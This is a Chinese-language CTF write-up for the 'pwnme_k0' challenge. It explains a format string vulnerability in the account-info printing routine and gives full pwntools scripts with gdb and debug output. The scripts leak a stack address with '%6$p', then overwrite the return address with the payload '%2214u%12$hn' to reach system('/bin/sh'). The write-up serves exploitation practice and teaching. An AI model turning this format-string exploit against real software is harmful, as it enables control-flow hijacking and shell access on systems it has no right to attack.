格式化字符串pwn retaddr及三个白帽-pwnme_k0 writeup

题目链接

https://github.com/eternalsakura/ctf_pwn/blob/master/pwnme_k0

分析

这个题代码写的略智障。


其实一共是从rbp-30到rbp-8这么一段空间,一共40个字节来存来存账号和密码。
但是存账号是从v16到char v18[20]的前4个字节,确实是16个,但是这么写不会很怪么……
密码也是,从数组的第4个字节之后开始存,最大存20个字节,一开始看还以为有溢出,碎碎念一下。

不过实际上漏洞是在打印个人信息的时候,能看到一个格式化字符串漏洞。

而这个&a9+4实际上就是我们输入的密码。

利用

checksec

1
2
3
4
5
6
7
sakura@ubuntu:~$ checksec pwnme_k0 
[*] '/home/sakura/pwnme_k0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

vulfunc



这题看了下字符串,发现有可以直接利用的system(‘/bin/sh’),所以只要用格式化字符串漏洞直接修改某个函数的返回地址为0x4008A6就可以了。

确定偏移

首先来跟随一下程序,确定格式化串的相对偏移。
写一个程序确定偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
gdb.attach(p,'break *0x400B39') #一开始就把gdb attach上去,然后设置好断点位置,break *0x400B39就是设置断点,然后c一下就执行到断点位置了。
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%p'*8)
p.recvuntil('>')
p.sendline('1')
p.recvuntil('>')
p.sendline('3')

输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
sakura@ubuntu:~$ python offset.py
[DEBUG] PLT 0x400740 putchar
[DEBUG] PLT 0x400748 strcpy
[DEBUG] PLT 0x400750 puts
[DEBUG] PLT 0x400758 write
[DEBUG] PLT 0x400760 setbuf
[DEBUG] PLT 0x400768 system
[DEBUG] PLT 0x400770 printf
[DEBUG] PLT 0x400778 memset
[DEBUG] PLT 0x400780 read
[DEBUG] PLT 0x400788 __libc_start_main
[DEBUG] PLT 0x400790 __gmon_start__
[DEBUG] PLT 0x400798 memcpy
[DEBUG] PLT 0x4007a0 fflush
[DEBUG] PLT 0x4007a8 atol
[*] '/home/sakura/pwnme_k0'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './pwnme_k0': pid 2885
[DEBUG] Wrote gdb script to '/tmp/pwnoFjEm0.gdb'
break *0x400B39
[*] running in new terminal: /usr/bin/gdb -q "/home/sakura/pwnme_k0" 2885 -x "/tmp/pwnoFjEm0.gdb"
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/usr/bin/gdb -q "/home/sakura/pwnme_k0" 2885 -x "/tmp/pwnoFjEm0.gdb"']
[+] Waiting for debugger: Done
[DEBUG] Received 0x127 bytes:
'**********************************************\n'
'* *\n'
'*Welcome to sangebaimao,Pwnn me and have fun!*\n'
'* *\n'
'**********************************************\n'
'Register Account first!\n'
'Input your username(max lenth:20): \n'
[DEBUG] Sent 0x9 bytes:
'aaaaaaaa\n'
[DEBUG] Received 0x24 bytes:
'Input your password(max lenth:20): \n'
[DEBUG] Sent 0x11 bytes:
'%p%p%p%p%p%p%p%p\n'
[DEBUG] Received 0x5f bytes:
'Register Success!!\n'
'1.Sh0w Account Infomation!\n'
'2.Ed1t Account Inf0mation!\n'
'3.QUit sangebaimao:(\n'
'>'
[DEBUG] Sent 0x2 bytes:
'1\n'
[DEBUG] Received 0x9 bytes:
'aaaaaaaa\n'

下面si只是为了跟进printf函数,个人习惯……不跟也行,只要你知道怎么数格式化串在哪,跟进去的话栈上第一个就肯定是返回地址,注意这里是64位程序,所以返回地址后跟着的就是参数7(offset 6),参数8(offset 7)…..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
pwndbg> si
0x0000000000400770 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[──────────────────────────────────REGISTERS───────────────────────────────────]
RAX 0x0
RBX 0x0
RCX 0x400
RDX 0x7f6c9f8829e0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x7fff8ee7f1e4 ◂— 0x7025702570257025 ('%p%p%p%p')--->格式化字符串存在rdi里
RSI 0x7f6c9faa6000 ◂— 0x6161616161616161 ('aaaaaaaa')
.....
[────────────────────────────────────DISASM────────────────────────────────────]
► 0x400770 jmp qword ptr [rip + 0x20184a] <0x7f6c9f512340>

0x7f6c9f512340 <printf> sub rsp, 0xd8
0x7f6c9f512347 <printf+7> test al, al
0x7f6c9f512349 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7f6c9f51234e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7f6c9f512353 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7f6c9f512358 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7f6c9f51235d <printf+29> mov qword ptr [rsp + 0x48], r9
0x7f6c9f512362 <printf+34> je printf+91 <0x7f6c9f51239b>

0x7f6c9f51239b <printf+91> lea rax, [rsp + 0xe0]
0x7f6c9f5123a3 <printf+99> mov rsi, rdi
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ rsp 0x7fff8ee7f1b8 —▸ 0x400b3e 返回地址
01:0008│ rbp 0x7fff8ee7f1c0 —▸ 0x7fff8ee7f200 offset 6(因为格式化串是参数1,前6个参数存在寄存器里,所以这里是参数7,相对格式化串就是偏移6)
02:0010│ 0x7fff8ee7f1c8 —▸ 0x400d74 offset 7
03:0018│ 0x7fff8ee7f1d0 ◂— 'aaaaaaaa\n' offset 8
04:0020│ 0x7fff8ee7f1d8 ◂— 0xa /* '\n' */ offset 9
05:0028│ rdi-4 0x7fff8ee7f1e0 ◂— 0x7025702500000000 offset 10
06:0030│ 0x7fff8ee7f1e8 ◂— '%p%p%p%p%p%p\n'
07:0038│ 0x7fff8ee7f1f0 ◂— 0xa70257025 /* '%p%p\n' */
[──────────────────────────────────BACKTRACE───────────────────────────────────]
► f 0 400770
f 1 400b3e
f 2 400d74
f 3 400e98
f 4 7f6c9f4dff45 __libc_start_main+245

这样就找到了,偏移为10,不过0x7025702500000000被00截断了,应该用“后入式“,把地址写在后面,所以偏移应该取12

修改返回地址

我们知道:虽然存储返回地址的内存本身是动态变化的,但是其相对于rbp的地址并不会改变,所以我们可以使用相对地址来计算。

1
2
3
4
[────────────────────────────────────STACK─────────────────────────────────────]
00:0000│ rsp 0x7fff8ee7f1b8 —▸ 0x400b3e 返回地址
01:0008│ rbp 0x7fff8ee7f1c0 —▸ 0x7fff8ee7f200
02:0010│ 0x7fff8ee7f1c8 —▸ 0x400d74

这里的返回地址是printf的返回地址,此时rbp还没有变化,还没有进入printf,还是当前函数的rbp,则rbp指向的就是old rbp的地址。
所以当前的返回地址就在rbp+8,即0x400d74。
存储返回地址的内存就是0x7fff8ee7f1c8,它相对于相对于old rbp的地址就是:0x7fff8ee7f200-0x7fff8ee7f1c8=0x38。
(这部分说的有点乱,先这么理解着吧……)
总之用格式化串先读0x7fff8ee7f1c0地址(offset 6),得到rbp的地址是0x7fff8ee7f200,再减去0x38就得到存储返回地址的内存地址是0x7fff8ee7f1c8。
然后leak出这个地址后,就可以去覆盖这个地址存放的返回值为我们的system(‘/bin/sh’)即0x4008A6
当函数返回的时候就getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
gdb.attach(p,'break *0x400B39')
# gdb.attach(p,'break *0x400B3E')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('\n')[1]
leak_addr=hex(int(data,16)-0x38)
print leak_addr
p.sendline('3')

getshell

这题的username我完全没用到,不过其实结合username更好用一些,不过
为了练习”后入式“,我就写的麻烦一点。
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
# context.log_level = 'debug'
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
# gdb.attach(p,'break *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('\n')[1]
leak_addr=int(data,16)-0x38
# print hex(leak_addr)
p.sendline('2')
p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2214u%12$hn"
payload += p64(leak_addr)
p.send(payload)
p.recvuntil('>')
p.sendline('1')
p.interactive()


其他

在写payload的时候
我一直把%2214u%12$hn数成11……然后一直GG。

1
2
sakura@ubuntu:~$ python -c 'print len("%2214u%12$hn")'
12

之所以做这道题。。是因为百度杯11月的一道pwn题和这题几乎一模一样…就拿来折腾下好了,不过那题没有system(‘/bin/sh’)可以利用。
要考虑leak出来。
格式化字符串大部分的利用姿势我都练到了,不过还是不够熟练,慢慢来呗~